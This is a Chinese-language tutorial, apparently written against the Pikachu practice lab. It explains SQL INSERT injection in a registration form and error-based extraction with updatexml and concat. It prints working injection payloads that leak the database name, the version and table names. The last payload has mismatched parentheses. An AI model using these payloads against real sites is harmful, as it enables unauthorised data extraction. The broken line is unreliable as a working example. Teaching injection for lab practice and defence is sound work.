SQL注入 (中级篇)Insert注入
insert注入:
其实对于初学SQL注入,并不需要区分注入类型。
但是要理解insert注入,首先需要理解SQL的insert语句
举个例子 :在Student表插入bob的信息
Student表:
|-----------------------------------|
| name | age | grade |
|-----------------------------------|
| andy | 14 | 98 |
|-----------------------------------|
sql语句为 INSERT INTO Student VALUES (bob, 15, 99)
当然也可在指定的列中插入数据
例如 INSERT INTO Student(name,age) VALUES (bob, 15)
OK,以上内容即是insert 语句的用法。现在我们来分析insert 注入
测试链接
在注册时,后台的逻辑应该是这样的
-------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------
代码好长,其实这段代码主要的语句为
insert into member(username,pw,sex,phonenum,email,address) values({$getdata[username]},md5({$getdata[password]}),{$getdata[sex]},{$getdata[phonenum]},{$getdata[email]},{$getdata[add]})";
大概就是 insert into member(username,pw,sex,phonenum,email,address) values(必填字段,必填字段,xx,xx,xx,xx,xx,)
于是可以构造payload 在username 填入 bob or updatexml(1,concat(0x7e,database()),0) or
基于函数报错的注入
常用的报错函数
updatexml() MYSQL对xml文档数据进行查询和修改的XPATH函数
updatexml(xml_document,XPathstring,new_value) 表名,路径(路径错误会报错),替换的值
extractvalue() MYSQL对xml文档数据进行查询XPATH函数
floor() MYSQL中用来取整的函数
limit 0,1, 从你的表中的第0个数据开始,只读取一个
kobe and updatexml(1,version(),0)#
因为路径不对,所以会报错
----------------------------------------------------------------
-----------------------------------------------------------------
但是看到的version()版本不够完整
于是大佬说用concat函数,把被丢掉的信息完全显示出来
于是构造payload kobe and updatexml(1,concat(0x7e,version()),0)#
其中0X7e表示的是 ~ 这个符号 ,concat函数用于将两个字段拼接
现在数据库完整的版本显示出来了
------------------------------------------------------------------------
-----------------------------------------------------------------------
好了明白了以上内容,就差不多了解了基于报错的注入原理
下面是一些扩展
构造payload kobe and updatexml(1,concat(0x7e,database()),0)#
kobe and updatexml(1,concat(0x7e,select table_name from information_schema.tables where table_schema=pikachu)),0) #
